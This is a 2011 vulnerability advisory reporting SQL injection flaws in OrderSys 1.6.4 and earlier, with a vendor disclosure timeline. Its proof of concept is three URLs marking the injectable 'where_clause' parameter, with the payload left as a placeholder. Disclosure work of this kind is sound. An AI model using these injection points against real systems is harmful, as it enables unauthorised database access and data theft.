27 lines
No EOL
1.6 KiB
Text
27 lines
No EOL
1.6 KiB
Text
------------------------------------------------------------------------
|
|
OrderSys <= 1.6.4 Sql Injection Vulnerabilities
|
|
------------------------------------------------------------------------
|
|
|
|
author............: muuratsalo (Revshell.com)
|
|
contact...........: muuratsalo[at]gmail[dot]com
|
|
download..........: http://www.bioinformatics.org/phplabware/labwiki/index.php
|
|
|
|
|
|
[0x01] Vulnerability overview:
|
|
|
|
All versions of OrderSys <= 1.6.4 are affected by Sql injection vulnerabilities.
|
|
A valid account could be required to exploit the vulnerabilities.
|
|
|
|
[0x02] Disclosure timeline:
|
|
|
|
[04/11/2011] - Multiple sql injection vulnerabilities discovered and reported to the vendor
|
|
[05/11/2011] - Multiple sql injection vulnerabilities fixed, OrderSys 1.6.4 released.
|
|
[05/11/2011] - OrderSys 1.6.4 is still vulnerable to some sql injection vulnerabilities.
|
|
[05/11/2011] - The vendor is currently working on fixing the reported issues.
|
|
[06/11/2011] - Public disclosure
|
|
|
|
[0x03] Proof of Concept:
|
|
|
|
http://localhost/ordersys/ordering/interface_creator/index.php?table_name=vendor&function=search&where_clause=[SQL INJECTION]&page=0&order=Address&order_type=ASC
|
|
http://localhost/ordersys/ordering/interface_creator/index_long.php?table_name=vendor&function=search&where_clause=[SQL INJECTION]&page=0&order=Address&order_type=ASC
|
|
http://localhost/ordersys/ordering/interface_creator/index_short.php?table_name=vendor&function=search&where_clause=[SQL INJECTION]&page=0&order=Address&order_type=ASC |